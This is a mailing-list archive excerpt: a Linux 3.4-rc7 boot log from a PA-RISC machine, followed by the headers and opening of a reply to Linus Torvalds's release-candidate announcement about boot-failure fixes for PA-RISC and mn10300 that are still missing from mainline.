[    0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Memory: 8234944k/8386560k available (4492k kernel code, 151616k reserved, 1827k data, 340k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
[    0.000000]       .init : 0x0000000040830000 - 0x0000000040885000   ( 340 kB)
[    0.000000]       .data : 0x0000000040563090 - 0x000000004072bcd0   (1827 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x0000000040563090   (4492 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1993.93 BogoMIPS (lpj=9969664)
[    0.190000] pid_max: default: 32768 minimum: 301
[    0.250000] Mount-cache hash table entries: 256
[    0.310000] SMP mode deactivated.
[    0.360000] Brought up 1 CPUs
[    0.400000] NET: Registered protocol family 16
[    0.460000] EISA bus registered
[    0.500000] Searching for devices...
[    0.660000] Found devices:
[    0.700000] 1. Unknown machine at 0xfffffffffe780000 [128] { 0, 0x0, 0x88b, 0x00004 }
[    0.800000] 2. Unknown machine at 0xfffffffffe781000 [129] { 0, 0x0, 0x88b, 0x00004 }
[    0.900000] 3. Unknown machine at 0xfffffffffe798000 [152] { 0, 0x0, 0x88b, 0x00004 }
[    1.010000] 4. Unknown machine at 0xfffffffffe799000 [153] { 0, 0x0, 0x88b, 0x00004 }
[    1.110000] 5. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
[    1.200000] 6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    1.310000] 7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    1.420000] 8. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    1.530000] 9. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    1.630000] 10. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[    1.750000] 11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    1.860000] 12. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x077, 0x000ad }
[    1.960000] 13. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x077, 0x000ad }
[    2.060000] Enabling PDC_PAT chassis codes support v0.05
[    2.590000] CPU(s): 4 x PA8800 (Mako) at 1000.000000 MHz
[    2.670000] Whole cache flush 2241342 cycles, flushing 7884800 bytes 950153 cycles
[    2.670000] Setting cache flush threshold to 11bcf00 (1 CPUs online)
[    2.880000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    2.980000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    3.090000] LBA 0:0: PCI host bridge to bus 0000:00
[    3.160000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    3.240000] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    3.390000] pci_bus 0000:00: root bus resource [mem 0xffffff0000000000-0xffffff0fffffffff]
[    3.510000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    3.610000] LBA 0:2: PCI host bridge to bus 0000:40
[    3.680000] pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    3.800000] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    3.950000] pci_bus 0000:40: root bus resource [mem 0xffffff2000000000-0xffffff2fffffffff]
[    4.060000] pci 0000:40:01.0: [1000:0030] type 00 class 0x010000
[    4.060000] pci 0000:40:01.0: reg 10: [io  0x14100-0x141ff]
[    4.060000] pci 0000:40:01.0: reg 14: [mem 0xffffffffa0260000-0xffffffffa027ffff 64bit]
[    4.060000] pci 0000:40:01.0: reg 1c: [mem 0xffffffffa0240000-0xffffffffa025ffff 64bit]
[    4.060000] pci 0000:40:01.0: reg 30: [mem 0xffffffffa0100000-0xffffffffa01fffff pref]
[    4.060000] pci 0000:40:01.0: supports D1 D2
[    4.060000] pci 0000:40:01.1: [1000:0030] type 00 class 0x010000
[    4.060000] pci 0000:40:01.1: reg 10: [io  0x14000-0x140ff]
[    4.060000] pci 0000:40:01.1: reg 14: [mem 0xffffffffa0220000-0xffffffffa023ffff 64bit]
[    4.060000] pci 0000:40:01.1: reg 1c: [mem 0xffffffffa0200000-0xffffffffa021ffff 64bit]
[    4.060000] pci 0000:40:01.1: reg 30: [mem 0xffffffffa0000000-0xffffffffa00fffff pref]
[    4.060000] pci 0000:40:01.1: supports D1 D2
[    4.070000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    4.170000] LBA 0:3: PCI host bridge to bus 0000:60
[    4.240000] pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    4.360000] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    4.510000] pci_bus 0000:60: root bus resource [mem 0xffffff3000000000-0xffffff3fffffffff]
[    4.620000] pci 0000:60:01.0: [1033:0035] type 00 class 0x0c0310
[    4.620000] pci 0000:60:01.0: reg 10: [mem 0xffffffffb00a3000-0xffffffffb00a3fff]
[    4.620000] pci 0000:60:01.0: supports D1 D2
[    4.620000] pci 0000:60:01.0: PME# supported from D0 D1 D2 D3hot
[    4.620000] pci 0000:60:01.1: [1033:0035] type 00 class 0x0c0310
[    4.620000] pci 0000:60:01.1: reg 10: [mem 0xffffffffb00a2000-0xffffffffb00a2fff]
[    4.620000] pci 0000:60:01.1: supports D1 D2
[    4.620000] pci 0000:60:01.1: PME# supported from D0 D1 D2 D3hot
[    4.620000] pci 0000:60:01.2: [1033:00e0] type 00 class 0x0c0320
[    4.620000] pci 0000:60:01.2: reg 10: [mem 0xffffffffb00a1000-0xffffffffb00a10ff]
[    4.620000] pci 0000:60:01.2: supports D1 D2
[    4.620000] pci 0000:60:01.2: PME# supported from D0 D1 D2 D3hot
[    4.620000] pci 0000:60:02.0: [1095:0680] type 00 class 0x010185
[    4.620000] pci 0000:60:02.0: reg 10: [io  0x26158-0x2615f]
[    4.620000] pci 0000:60:02.0: reg 14: [io  0x26164-0x26167]
[    4.620000] pci 0000:60:02.0: reg 18: [io  0x26150-0x26157]
[    4.620000] pci 0000:60:02.0: reg 1c: [io  0x26160-0x26163]
[    4.620000] pci 0000:60:02.0: reg 20: [io  0x26140-0x2614f]
[    4.620000] pci 0000:60:02.0: reg 24: [mem 0xffffffffb00a0000-0xffffffffb00a00ff]
[    4.620000] pci 0000:60:02.0: reg 30: [mem 0xffffffffb0000000-0xffffffffb007ffff pref]
[    4.620000] pci 0000:60:02.0: supports D1 D2
[    4.620000] pci 0000:60:03.0: [8086:100e] type 00 class 0x020000
[    4.620000] pci 0000:60:03.0: reg 10: [mem 0xffffffffb0080000-0xffffffffb009ffff]
[    4.620000] pci 0000:60:03.0: reg 18: [io  0x26100-0x2613f]
[    4.620000] pci 0000:60:03.0: PME# supported from D0 D3hot D3cold
[    4.620000] pci 0000:60:05.0: [13f6:0111] type 00 class 0x040100
[    4.620000] pci 0000:60:05.0: reg 10: [io  0x26000-0x260ff]
[    4.620000] pci 0000:60:05.0: supports D1 D2
[    4.630000] Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000
[    4.740000] LBA 0:4: PCI host bridge to bus 0000:80
[    4.800000] pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    4.920000] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffcfffffff] (bus address [0xc0000000-0xcfffffff])
[    5.070000] pci_bus 0000:80: root bus resource [mem 0xffffff4000000000-0xffffff4fffffffff]
[    5.180000] pci 0000:80:00.0: [1002:4e47] type 00 class 0x030000
[    5.180000] pci 0000:80:00.0: reg 10: [mem 0xffffffffc8000000-0xffffffffcfffffff pref]
[    5.180000] pci 0000:80:00.0: reg 14: [io  0x3c000-0x3c0ff]
[    5.180000] pci 0000:80:00.0: reg 18: [mem 0xd0030000-0xd003ffff]
[    5.180000] pci 0000:80:00.0: reg 30: [mem 0xd0000000-0xd001ffff pref]
[    5.180000] pci 0000:80:00.0: supports D1 D2
[    5.180000] pci 0000:80:00.1: [1002:4e67] type 00 class 0x038000
[    5.180000] pci 0000:80:00.1: reg 10: [mem 0xffffffffc0000000-0xffffffffc7ffffff pref]
[    5.180000] pci 0000:80:00.1: reg 14: [mem 0xd0020000-0xd002ffff]
[    5.180000] pci 0000:80:00.1: supports D1 D2
[    5.180000] pci 0000:80:00.0: no compatible bridge window for [mem 0xd0030000-0xd003ffff]
[    5.290000] pci 0000:80:00.0: no compatible bridge window for [mem 0xd0000000-0xd001ffff pref]
[    5.410000] pci 0000:80:00.1: no compatible bridge window for [mem 0xd0020000-0xd002ffff]
[    5.510000] iosapic: no IRTE for 0000:80:00.1 (IRQ not connected?)
[    5.510000] pci 0000:80:00.0: BAR 6: assigned [mem 0xffffff4000000000-0xffffff400001ffff pref]
[    5.630000] pci 0000:80:00.0: BAR 2: assigned [mem 0xffffff4000020000-0xffffff400002ffff]
[    5.730000] pci 0000:80:00.1: BAR 1: assigned [mem 0xffffff4000030000-0xffffff400003ffff]
[    5.990000] powersw: Soft power switch at 0xfffffff0f042e278 enabled.
[    6.080000] bio: create slab <bio-0> at 0
[    6.130000] vgaarb: device added: PCI:0000:80:00.0,decodes=io+mem,owns=io+mem,locks=none
[    6.240000] vgaarb: loaded
[    6.280000] vgaarb: bridge control possible 0000:80:00.0
[    6.350000] SCSI subsystem initialized
[    6.400000] usbcore: registered new interface driver usbfs
[    6.470000] usbcore: registered new interface driver hub
[    6.540000] usbcore: registered new device driver usb
[    6.610000] Switching to clocksource cr16
[    6.660000] NET: Registered protocol family 2
[    6.720000] IP route cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    6.820000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[    6.930000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    7.020000] TCP: Hash tables configured (established 262144 bind 65536)
[    7.100000] TCP: reno registered
[    7.150000] UDP hash table entries: 4096 (order: 5, 131072 bytes)
[    7.230000] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes)
[    7.310000] NET: Registered protocol family 1
[    7.370000] PCI: CLS 64 bytes
[    7.390000] The PDC console driver is still registered, removing CON_BOOT flag
[    7.490000] Chassis warnings not supported.
[    7.540000] Performance monitoring counters enabled for Unknown machine
[    7.550000] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[    7.630000] msgmni has been set to 16083
[    7.680000] io scheduler noop registered
[    7.730000] io scheduler cfq registered (default)
[    7.800000] PDC Stable Storage facility v0.30
[    7.900000] STI GSC/PCI core graphics driver Version 0.9a
[    8.010000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    8.100000] Linux agpgart interface v0.103
[    8.150000] loop: module loaded
[    8.190000] Uniform Multi-Platform E-IDE driver
[    8.260000] siimage 0000:60:02.0: IDE controller (0x1095:0x0680 rev 0x02)
[    8.350000] siimage 0000:60:02.0: BASE CLOCK == 133
[    8.420000] siimage 0000:60:02.0: 100% native mode on irq 71
[    8.490000]     ide0: MMIO-DMA
[    8.530000]     ide1: MMIO-DMA
[    8.570000] Probing IDE interface ide0...
[    9.180000] Probing IDE interface ide1...
[    9.780000] ide0 at 0x3e080-0x3e087,0x3e08a on irq 71
[    9.840000] ide1 at 0x3e0c0-0x3e0c7,0x3e0ca on irq 71
[    9.910000] ide-gd driver 1.18
[    9.950000] ide-cd driver 5.00
[    9.990000] e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI
[   10.080000] e1000: Copyright (c) 1999-2006 Intel Corporation.
[   10.470000] e1000 0000:60:03.0: eth0: (PCI:33MHz:32-bit) 00:13:21:1a:34:3d
[   10.570000] e1000 0000:60:03.0: eth0: Intel(R) PRO/1000 Network Connection
[   10.660000] Fusion MPT base driver 3.04.20
[   10.710000] Copyright (c) 1999-2008 LSI Corporation
[   10.770000] Fusion MPT SPI Host driver 3.04.20
[   10.840000] mptbase: ioc0: Initiating bringup
[   12.120000] ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}
[   13.390000] scsi0 : ioc0: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=66
[   14.300000] scsi 0:0:0:0: Direct-Access     FUJITSU  MAW3073NP        5803 PQ: 0 ANSI: 3
[   14.400000] scsi target0:0:0: Beginning Domain Validation
[   14.490000] scsi target0:0:0: Ending Domain Validation
[   14.560000] scsi target0:0:0: FAST-160 WIDE SCSI 320.0 MB/s DT IU RTI WRFLOW PCOMP (6.25 ns, offset 127)
[   14.690000] sd 0:0:0:0: Attached scsi generic sg0 type 0
[   14.760000] sd 0:0:0:0: [sda] 143374650 512-byte logical blocks: (73.4 GB/68.3 GiB)
[   14.860000] scsi 0:0:1:0: Direct-Access     FUJITSU  MAW3073NP        5803 PQ: 0 ANSI: 3
[   14.970000] scsi target0:0:1: Beginning Domain Validation
[   15.040000] sd 0:0:0:0: [sda] Write Protect is off
[   15.100000] sd 0:0:0:0: [sda] Mode Sense: b3 00 00 08
[   15.110000] sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
[   15.240000]  sda: sda1 sda2 sda3 sda4
[   15.290000] scsi target0:0:1: Ending Domain Validation
[   15.360000] scsi target0:0:1: FAST-160 WIDE SCSI 320.0 MB/s DT IU RTI WRFLOW PCOMP (6.25 ns, offset 127)
[   15.490000] sd 0:0:0:0: [sda] Attached SCSI disk
[   15.550000] sd 0:0:1:0: Attached scsi generic sg1 type 0
[   15.620000] sd 0:0:1:0: [sdb] 143374650 512-byte logical blocks: (73.4 GB/68.3 GiB)
[   16.120000] sd 0:0:1:0: [sdb] Write Protect is off
[   16.180000] sd 0:0:1:0: [sdb] Mode Sense: b3 00 00 08
[   17.120000] sd 0:0:1:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
[   18.880000] mptbase: ioc1: Initiating bringup
[   20.130000] ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}
[   21.400000]  sdb: unknown partition table
[   21.460000] scsi1 : ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67
[   22.400000] sd 0:0:1:0: [sdb] Attached SCSI disk
[   26.120000] Fusion MPT misc device (ioctl) driver 3.04.20
[   26.190000] mptctl: Registered with Fusion MPT base driver
[   26.260000] mptctl: /dev/mptctl @ (major,minor=10,220)
[   26.330000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[   26.410000] ehci_hcd: block sizes: qh 112 qtd 96 itd 192 sitd 96
[   26.420000] ehci_hcd 0000:60:01.2: EHCI Host Controller
[   26.490000] ehci_hcd 0000:60:01.2: new USB bus registered, assigned bus number 1
[   26.590000] ehci_hcd 0000:60:01.2: reset hcs_params 0x2395 dbg=0 cc=2 pcc=3 ports=5
[   26.590000] ehci_hcd 0000:60:01.2: reset portroute 1 0 1 0 0 
[   26.590000] ehci_hcd 0000:60:01.2: reset hcc_params 0002 thresh 0 uframes 256/512/1024
[   26.590000] ehci_hcd 0000:60:01.2: reset command 0080002 (park)=0 ithresh=8 period=1024 Reset HALT
[   26.590000] ehci_hcd 0000:60:01.2: ...powerup ports...
[   26.620000] ehci_hcd 0000:60:01.2: MWI active
[   26.620000] ehci_hcd 0000:60:01.2: supports USB remote wakeup
[   26.620000] ehci_hcd 0000:60:01.2: irq 70, io mem 0xffffffffb00a1000
[   26.700000] ehci_hcd 0000:60:01.2: init command 0010005 (park)=0 ithresh=1 period=512 RUN
[   26.720000] ehci_hcd 0000:60:01.2: USB 2.0 started, EHCI 0.95
[   26.790000] usb usb1: default language 0x0409
[   26.790000] usb usb1: udev 1, busnum 1, minor = 0
[   26.790000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
[   26.880000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   26.980000] usb usb1: Product: EHCI Host Controller
[   27.040000] usb usb1: Manufacturer: Linux 3.4.0-rc7+ ehci_hcd
[   27.120000] usb usb1: SerialNumber: 0000:60:01.2
[   27.180000] usb usb1: usb_probe_device
[   27.180000] usb usb1: configuration #1 chosen from 1 choice
[   27.180000] usb usb1: adding 1-0:1.0 (config #1, interface 0)
[   27.180000] hub 1-0:1.0: usb_probe_interface
[   27.180000] hub 1-0:1.0: usb_probe_interface - got id
[   27.180000] hub 1-0:1.0: USB hub found
[   27.230000] hub 1-0:1.0: 5 ports detected
[   27.280000] hub 1-0:1.0: standalone hub
[   27.280000] hub 1-0:1.0: individual port power switching
[   27.280000] hub 1-0:1.0: individual port over-current protection
[   27.280000] hub 1-0:1.0: power on to power good time: 20ms
[   27.280000] hub 1-0:1.0: local power source is good
[   27.280000] hub 1-0:1.0: enabling power on all ports
[   27.280000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[   27.360000] ohci_hcd: block sizes: ed 80 td 96
[   27.370000] ohci_hcd 0000:60:01.0: OHCI Host Controller
[   27.440000] ohci_hcd 0000:60:01.0: new USB bus registered, assigned bus number 2
[   27.530000] ohci_hcd 0000:60:01.0: enabled NEC chipset lost interrupt quirk
[   27.530000] ohci_hcd 0000:60:01.0: created debug files
[   27.530000] ohci_hcd 0000:60:01.0: supports USB remote wakeup
[   27.530000] ohci_hcd 0000:60:01.0: irq 68, io mem 0xffffffffb00a3000
[   27.620000] hub 1-0:1.0: state 7 ports 5 chg 0000 evt 0000
[   28.190000] ohci_hcd 0000:60:01.0: OHCI controller state
[   28.190000] ohci_hcd 0000:60:01.0: OHCI 1.0, NO legacy support registers, rh state running
[   28.190000] ohci_hcd 0000:60:01.0: control 0x083 HCFS=operational CBSR=3
[   28.190000] ohci_hcd 0000:60:01.0: cmdstatus 0x00000 SOC=0
[   28.190000] ohci_hcd 0000:60:01.0: intrstatus 0x00000004 SF
[   28.190000] ohci_hcd 0000:60:01.0: intrenable 0x8000005a MIE RHSC UE RD WDH
[   28.190000] ohci_hcd 0000:60:01.0: hcca frame #01ff
[   28.190000] ohci_hcd 0000:60:01.0: roothub.a ff000203 POTPGT=255 NPS NDP=3(3)
[   28.190000] ohci_hcd 0000:60:01.0: roothub.b 00000000 PPCM=0000 DR=0000
[   28.190000] ohci_hcd 0000:60:01.0: roothub.status 00008000 DRWE
[   28.190000] ohci_hcd 0000:60:01.0: roothub.portstatus [0] 0x00000100 PPS
[   28.190000] ohci_hcd 0000:60:01.0: roothub.portstatus [1] 0x00000100 PPS
[   28.190000] ohci_hcd 0000:60:01.0: roothub.portstatus [2] 0x00000100 PPS
[   28.190000] usb usb2: default language 0x0409
[   28.190000] usb usb2: udev 1, busnum 2, minor = 128
[   28.190000] usb usb2: New USB device found, idVendor=1d6b, idProduct=0001
[   28.270000] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   28.370000] usb usb2: Product: OHCI Host Controller
[   28.430000] usb usb2: Manufacturer: Linux 3.4.0-rc7+ ohci_hcd
[   28.510000] usb usb2: SerialNumber: 0000:60:01.0
[   28.570000] usb usb2: usb_probe_device
[   28.570000] usb usb2: configuration #1 chosen from 1 choice
[   28.570000] usb usb2: adding 2-0:1.0 (config #1, interface 0)
[   28.570000] hub 2-0:1.0: usb_probe_interface
[   28.570000] hub 2-0:1.0: usb_probe_interface - got id
[   28.570000] hub 2-0:1.0: USB hub found
[   28.620000] hub 2-0:1.0: 3 ports detected
[   28.670000] hub 2-0:1.0: standalone hub
[   28.670000] hub 2-0:1.0: no power switching (usb 1.0)
[   28.670000] hub 2-0:1.0: global over-current protection
[   28.670000] hub 2-0:1.0: power on to power good time: 510ms
[   28.670000] hub 2-0:1.0: local power source is good
[   28.670000] hub 2-0:1.0: no over-current condition exists
[   28.670000] hub 2-0:1.0: trying to enable port power on non-switchable hub
[   28.680000] ohci_hcd 0000:60:01.1: OHCI Host Controller
[   28.750000] ohci_hcd 0000:60:01.1: new USB bus registered, assigned bus number 3
[   28.850000] ohci_hcd 0000:60:01.1: enabled NEC chipset lost interrupt quirk
[   28.850000] ohci_hcd 0000:60:01.1: created debug files
[   28.850000] ohci_hcd 0000:60:01.1: supports USB remote wakeup
[   28.850000] ohci_hcd 0000:60:01.1: irq 69, io mem 0xffffffffb00a2000
[   29.500000] ohci_hcd 0000:60:01.1: OHCI controller state
[   29.500000] ohci_hcd 0000:60:01.1: OHCI 1.0, NO legacy support registers, rh state running
[   29.500000] ohci_hcd 0000:60:01.1: control 0x083 HCFS=operational CBSR=3
[   29.500000] ohci_hcd 0000:60:01.1: cmdstatus 0x00000 SOC=0
[   29.500000] ohci_hcd 0000:60:01.1: intrstatus 0x00000004 SF
[   29.500000] ohci_hcd 0000:60:01.1: intrenable 0x8000005a MIE RHSC UE RD WDH
[   29.500000] ohci_hcd 0000:60:01.1: hcca frame #01ff
[   29.500000] ohci_hcd 0000:60:01.1: roothub.a ff000202 POTPGT=255 NPS NDP=2(2)
[   29.500000] ohci_hcd 0000:60:01.1: roothub.b 00000000 PPCM=0000 DR=0000
[   29.500000] ohci_hcd 0000:60:01.1: roothub.status 00008000 DRWE
[   29.500000] ohci_hcd 0000:60:01.1: roothub.portstatus [0] 0x00000100 PPS
[   29.500000] ohci_hcd 0000:60:01.1: roothub.portstatus [1] 0x00000100 PPS
[   29.500000] usb usb3: default language 0x0409
[   29.500000] usb usb3: udev 1, busnum 3, minor = 256
[   29.500000] usb usb3: New USB device found, idVendor=1d6b, idProduct=0001
[   29.580000] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   29.680000] usb usb3: Product: OHCI Host Controller
[   29.740000] usb usb3: Manufacturer: Linux 3.4.0-rc7+ ohci_hcd
[   29.820000] usb usb3: SerialNumber: 0000:60:01.1
[   29.880000] hub 2-0:1.0: state 7 ports 3 chg 0000 evt 0000
[   29.880000] usb usb3: usb_probe_device
[   29.880000] usb usb3: configuration #1 chosen from 1 choice
[   29.880000] usb usb3: adding 3-0:1.0 (config #1, interface 0)
[   29.880000] hub 3-0:1.0: usb_probe_interface
[   29.880000] hub 3-0:1.0: usb_probe_interface - got id
[   29.880000] hub 3-0:1.0: USB hub found
[   29.930000] hub 3-0:1.0: 2 ports detected
[   29.980000] hub 3-0:1.0: standalone hub
[   29.980000] hub 3-0:1.0: no power switching (usb 1.0)
[   29.980000] hub 3-0:1.0: global over-current protection
[   29.980000] hub 3-0:1.0: power on to power good time: 510ms
[   29.980000] hub 3-0:1.0: local power source is good
[   29.980000] hub 3-0:1.0: no over-current condition exists
[   29.980000] hub 3-0:1.0: trying to enable port power on non-switchable hub
[   29.980000] mousedev: PS/2 mouse device common for all mice
[   30.070000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   30.160000] usbcore: registered new interface driver usbhid
[   30.240000] usbhid: USB HID core driver
[   30.290000] TCP: cubic registered
[   30.330000] NET: Registered protocol family 10
[   30.390000] NET: Registered protocol family 17
[   30.450000] Registering the dns_resolver key type
[   30.520000] rtc-generic rtc-generic: setting system clock to 2012-05-13 17:30:19 UTC (1336930219)
[   30.630000] md: Waiting for all devices to be available before autodetect
[   30.720000] md: If you don't use raid, use raid=noautodetect
[   30.800000] md: Autodetecting RAID arrays.
[   30.850000] md: Scanned 0 and added 0 devices.
[   30.910000] md: autorun ...
[   30.950000] md: ... autorun DONE.
[   30.990000] hub 3-0:1.0: state 7 ports 2 chg 0000 evt 0000
[   31.000000] EXT3-fs (sda4): error: couldn't mount because of unsupported optional features (240)
[   31.130000] EXT2-fs (sda4): error: couldn't mount because of unsupported optional features (240)
[   31.360000] EXT4-fs (sda4): mounted filesystem with ordered data mode. Opts: (null)
[   31.460000] VFS: Mounted root (ext4 filesystem) readonly on device 8:4.
[   31.640000] Freeing unused kernel memory: 340k freed
[   35.610000] udevd[1038]: starting version 171
[   41.100000] EXT4-fs (sda4): re-mounted. Opts: nobarrier
[   51.060000] Adding 8787548k swap on /dev/sda3.  Priority:-1 extents:1 across:8787548k 
[   52.990000] e1000: eth0 NIC Link is Up 100 Mbps Full Duplex, Flow Control: RX/TX
[   52.990000] ADDRCONF(NETDEV_UP): eth0: link is not ready
[   52.990000] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
[   63.090000] eth0: no IPv6 routers present
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Mon, 14 May 2012 01:26:23 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <4FB011E7.1000604@linux.vnet.ibm.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336939034 9280 80.91.229.3 (13 May 2012 19:57:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 19:57:14 +0000 (UTC)
Cc: "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 21:57:10 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STeui-0006BB-Nr
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 21:57:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753018Ab2EMT5H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 15:57:07 -0400
Original-Received: from e23smtp09.au.ibm.com ([202.81.31.142]:60376 "EHLO
	e23smtp09.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752893Ab2EMT5G (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 15:57:06 -0400
Original-Received: from /spool/local
	by e23smtp09.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Sun, 13 May 2012 20:45:30 +1000
Original-Received: from d23relay05.au.ibm.com (202.81.31.247)
	by e23smtp09.au.ibm.com (202.81.31.206) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sun, 13 May 2012 20:45:29 +1000
Original-Received: from d23av03.au.ibm.com (d23av03.au.ibm.com [9.190.234.97])
	by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4DJntR311600062;
	Mon, 14 May 2012 05:49:55 +1000
Original-Received: from d23av03.au.ibm.com (loopback [127.0.0.1])
	by d23av03.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4DJv0CY024545;
	Mon, 14 May 2012 05:57:02 +1000
Original-Received: from [9.78.197.201] ([9.78.197.201])
	by d23av03.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4DJusaR024492;
	Mon, 14 May 2012 05:56:55 +1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120424 Thunderbird/12.0
In-Reply-To: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
x-cbid: 12051310-3568-0000-0000-000001C2A08F
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4367 gmane.linux.kernel:1296314
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4367>

On 05/13/2012 07:34 AM, Linus Torvalds wrote:

> This is almost certainly the last -rc in this series - things really
> have calmed down, and I even considered just cutting 3.4 this weekend,
> but felt that another week wouldn't hurt.
[...] 
> So go forth and test. And don't send me any pull requests unless they
> contain *only* regressions or fixes for really nasty bugs.


Oh, I just noticed that 2 important fixes which fix boot failures on
PA-RISC and mn10300 architectures haven't made it to mainline yet.

